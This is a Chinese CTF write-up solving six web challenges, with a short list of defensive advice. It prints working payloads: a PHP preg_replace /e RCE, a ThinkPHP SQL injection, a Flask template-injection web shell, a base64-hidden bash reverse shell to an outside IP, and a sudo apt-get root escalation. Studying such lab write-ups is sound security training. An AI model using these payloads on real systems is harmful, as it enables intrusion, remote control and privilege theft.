记某高校CTF赛WEB全解
字数 1030 2025-08-22 12:22:15

CTF Web题目全解与漏洞利用技术教学文档

1. Please_RCE_Me题目解析

1.1 题目源码分析

<?php
if ($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if (isset($_POST['task']) && isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if (preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i', $str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/', $str2)){
            die('hacker!');
        } else {
            preg_replace("/please_give_me_flag/ei", $_POST['task'], $_POST['flag']);
        }
    }
} else {
    echo "moran want a flag.</br>(?moran=flag)";
}

1.2 漏洞点分析

考点: preg_replace的/e修饰符命令执行漏洞

绕过技巧:

  1. 正则开启了大小写匹配(/i),可以用于绕过对"please_give_me_flag"的检测
  2. 使用十六进制编码绕过过滤

1.3 利用Payload

?moran=flag
POST:
flag=please_give_me_flaG&task=print(file_get_contents("\x2f\x66\x6c\x61\x67"));

2. ez_tp题目解析

2.1 关键代码分析

if (waf()){
    echo "12311";
    $this->index();
}else{
    $ret = $User->field('username,age')->where(array('username'=>$name))->select();
    echo "success";
    echo var_export($ret, true);
}

2.2 WAF绕过分析

WAF过滤内容:

$pattern = "insert|update|delete|and|or|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";

触发方法:
使用特殊URL格式触发控制器方法:

index.php/home/index/h_n

2.3 SQL注入Payload

index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

3. ezFlask题目解析

3.1 内存马注入技术

利用Flask模板注入进行内存马写入:

cmd = render_template_string(
    "{{url_for.__globals__['__builtins__']['eval']("
    " app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()) "
    ",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}"
)

4. flipPin题目解析

4.1 源码分析

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)

4.2 攻击思路

  1. AES-CBC位翻转攻击:

    • 通过修改密文的特定字节来改变解密后的明文
    • 目标是将"admin": 0改为"admin": 1
  2. 文件读取绕过技巧:

    • 黑名单绕过: 当cgroup被过滤时,使用mountinfocpuset

4.3 利用步骤

  1. 获取初始session cookie
  2. 对session进行base64解码
  3. 定位并修改admin标志位
  4. 使用修改后的session访问/read接口

5. GoJava题目解析

5.1 源码分析

func isFilenameBlacklisted(filename string) bool {
    for _, char := range filename {
        for _, blackChar := range blacklistChars {
            if char == blackChar {
                return true
            }
        }
    }
    return false
}

5.2 命令注入技巧

Payload构造:

"1;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYxIg== | base64 -d | bash;1.java"

关键点:

  1. 使用base64编码绕过黑名单字符检测
  2. 必须使用bash执行,sh可能连接不稳定

6. GPTS题目解析

6.1 提权技术总结

  1. 信息收集:

    • 检查/var/spool/mail/目录获取敏感信息
    • 使用sudo -l查看可用特权命令
  2. 密码发现:

    From root,To ctfgame(ctfer),
    ctfgame : KbsrZrSCVeui#+R
    
  3. 特权提升路径:

    • 将用户添加到root组: sudo adduser ctfer root
    • 创建新用户并设置gid为0: sudo adduser --gid 0 chu0
  4. APT提权:

    sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
    

7. 综合防御建议

  1. PHP安全:

    • 避免使用preg_replace的/e修饰符
    • 严格过滤用户输入
  2. Flask安全:

    • 禁用模板中的危险函数
    • 使用安全的session管理
  3. 系统安全:

    • 限制sudo权限
    • 定期检查邮件和日志文件
    • 使用强密码策略
  4. 文件上传安全:

    • 严格验证文件名和内容
    • 在沙箱环境中处理上传文件
  5. 加密安全:

    • 使用认证加密模式如AES-GCM而非CBC
    • 实施MAC校验防止篡改
CTF Web题目全解与漏洞利用技术教学文档 1. Please_ RCE_ Me题目解析 1.1 题目源码分析 1.2 漏洞点分析 考点 : preg_ replace的/e修饰符命令执行漏洞 绕过技巧 : 正则开启了大小写匹配(/i),可以用于绕过对"please_ give_ me_ flag"的检测 使用十六进制编码绕过过滤 1.3 利用Payload 2. ez_ tp题目解析 2.1 关键代码分析 2.2 WAF绕过分析 WAF过滤内容 : 触发方法 : 使用特殊URL格式触发控制器方法: 2.3 SQL注入Payload 3. ezFlask题目解析 3.1 内存马注入技术 利用Flask模板注入进行内存马写入 : 4. flipPin题目解析 4.1 源码分析 4.2 攻击思路 AES-CBC位翻转攻击 : 通过修改密文的特定字节来改变解密后的明文 目标是将 "admin": 0 改为 "admin": 1 文件读取绕过技巧 : 黑名单绕过: 当 cgroup 被过滤时,使用 mountinfo 或 cpuset 4.3 利用步骤 获取初始session cookie 对session进行base64解码 定位并修改admin标志位 使用修改后的session访问/read接口 5. GoJava题目解析 5.1 源码分析 5.2 命令注入技巧 Payload构造 : 关键点 : 使用base64编码绕过黑名单字符检测 必须使用bash执行,sh可能连接不稳定 6. GPTS题目解析 6.1 提权技术总结 信息收集 : 检查 /var/spool/mail/ 目录获取敏感信息 使用 sudo -l 查看可用特权命令 密码发现 : 特权提升路径 : 将用户添加到root组: sudo adduser ctfer root 创建新用户并设置gid为0: sudo adduser --gid 0 chu0 APT提权 : 7. 综合防御建议 PHP安全 : 避免使用 preg_replace 的/e修饰符 严格过滤用户输入 Flask安全 : 禁用模板中的危险函数 使用安全的session管理 系统安全 : 限制sudo权限 定期检查邮件和日志文件 使用强密码策略 文件上传安全 : 严格验证文件名和内容 在沙箱环境中处理上传文件 加密安全 : 使用认证加密模式如AES-GCM而非CBC 实施MAC校验防止篡改